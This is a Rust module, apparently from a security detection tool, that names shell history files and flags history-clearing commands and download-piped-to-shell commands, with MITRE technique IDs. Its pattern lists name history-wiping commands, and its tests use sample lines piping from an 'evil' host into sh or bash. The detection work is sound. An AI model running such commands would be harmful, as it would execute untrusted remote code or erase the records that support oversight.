#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
#[non_exhaustive]
pub enum Shell {
Bash,
Zsh,
Fish,
PowerShell,
}
pub const BASH_TIMESTAMP_PREFIX: &str = "#";
pub const ZSH_EXTENDED_ENTRY_PREFIX: &str = ": ";
pub const ZSH_EXTENDED_FIELD_SEPARATOR: char = ';';
pub const FISH_CMD_PREFIX: &str = "- cmd: ";
pub const FISH_WHEN_PREFIX: &str = " when: ";
#[must_use]
pub fn history_file_name(shell: Shell) -> &'static str {
match shell {
Shell::Bash => ".bash_history",
Shell::Zsh => ".zsh_history",
Shell::Fish => "fish_history",
Shell::PowerShell => "ConsoleHost_history.txt",
}
}
#[must_use]
pub fn records_timestamps(shell: Shell) -> bool {
matches!(shell, Shell::Zsh | Shell::Fish)
}
pub const HISTORY_CLEARING_PATTERNS: &[&str] = &[
"history -c",
"history -w",
"unset HISTFILE",
"HISTFILE=/dev/null",
"HISTFILE=",
"HISTSIZE=0",
"HISTFILESIZE=0",
"set +o history",
"rm ~/.bash_history",
"rm -f ~/.bash_history",
"cat /dev/null >",
"Clear-History",
"Remove-Item (Get-PSReadlineOption).HistorySavePath",
];
pub const DOWNLOAD_PIPE_TO_SHELL_PATTERNS: &[&str] = &[
"curl | sh",
"curl | bash",
"wget | sh",
"wget | bash",
"curl |sh",
"curl |bash",
"wget |sh",
"wget |bash",
"iwr | iex",
"invoke-webrequest | invoke-expression",
];
pub const MITRE_HISTORY_CLEARING: &[&str] = &["T1070.003"];
pub const MITRE_DOWNLOAD_PIPE_TO_SHELL: &[&str] = &["T1059", "T1105"];
#[must_use]
pub fn is_history_tampering(cmd: &str) -> bool {
let lower = cmd.to_ascii_lowercase();
HISTORY_CLEARING_PATTERNS
.iter()
.any(|p| lower.contains(&p.to_ascii_lowercase()))
}
#[must_use]
pub fn is_download_pipe_to_shell(cmd: &str) -> bool {
let lower = cmd.to_ascii_lowercase();
let Some((before, after)) = lower.split_once('|') else {
return false;
};
let has_downloader = ["curl", "wget", "invoke-webrequest", "iwr"]
.iter()
.any(|d| before.contains(d));
let into_shell = ["sh", "bash", "zsh", "invoke-expression", "iex"]
.iter()
.any(|s| after.contains(s));
has_downloader && into_shell
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn shell_variants_exist() {
let _ = [Shell::Bash, Shell::Zsh, Shell::Fish, Shell::PowerShell];
}
#[test]
fn history_file_names() {
assert_eq!(history_file_name(Shell::Bash), ".bash_history");
assert_eq!(history_file_name(Shell::Zsh), ".zsh_history");
assert_eq!(history_file_name(Shell::Fish), "fish_history");
assert_eq!(
history_file_name(Shell::PowerShell),
"ConsoleHost_history.txt"
);
}
#[test]
fn bash_timestamp_marker() {
assert_eq!(BASH_TIMESTAMP_PREFIX, "#");
}
#[test]
fn zsh_extended_history_marker() {
assert_eq!(ZSH_EXTENDED_ENTRY_PREFIX, ": ");
assert_eq!(ZSH_EXTENDED_FIELD_SEPARATOR, ';');
}
#[test]
fn fish_yaml_markers() {
assert_eq!(FISH_CMD_PREFIX, "- cmd: ");
assert_eq!(FISH_WHEN_PREFIX, " when: ");
}
#[test]
fn records_timestamps_predicate() {
assert!(records_timestamps(Shell::Zsh));
assert!(records_timestamps(Shell::Fish));
assert!(!records_timestamps(Shell::PowerShell));
}
#[test]
fn history_clearing_patterns_present() {
assert!(HISTORY_CLEARING_PATTERNS.contains(&"history -c"));
assert!(HISTORY_CLEARING_PATTERNS.contains(&"unset HISTFILE"));
assert!(HISTORY_CLEARING_PATTERNS
.iter()
.any(|p| p.contains("HISTFILE=/dev/null")));
assert!(HISTORY_CLEARING_PATTERNS
.iter()
.any(|p| p.contains("HISTSIZE=0")));
assert!(HISTORY_CLEARING_PATTERNS
.iter()
.any(|p| p.contains("set +o history")));
}
#[test]
fn is_history_tampering_is_case_insensitive_substring() {
assert!(is_history_tampering(" history -c "));
assert!(is_history_tampering("export HISTFILE=/dev/null"));
assert!(is_history_tampering("UNSET HISTFILE"));
assert!(!is_history_tampering("ls -la"));
}
#[test]
fn download_pipe_to_shell_patterns_present() {
assert!(DOWNLOAD_PIPE_TO_SHELL_PATTERNS
.iter()
.any(|p| p.contains("curl") && p.contains("sh")));
assert!(DOWNLOAD_PIPE_TO_SHELL_PATTERNS
.iter()
.any(|p| p.contains("wget") && p.contains("sh")));
}
#[test]
fn is_download_pipe_to_shell_matches() {
assert!(is_download_pipe_to_shell("curl http://evil/x | sh"));
assert!(is_download_pipe_to_shell("wget -qO- http://evil/x | bash"));
assert!(!is_download_pipe_to_shell(
"curl http://example.com -o file"
));
}
#[test]
fn mitre_constants() {
assert_eq!(MITRE_HISTORY_CLEARING, &["T1070.003"]);
assert_eq!(MITRE_DOWNLOAD_PIPE_TO_SHELL, &["T1059", "T1105"]);
}
}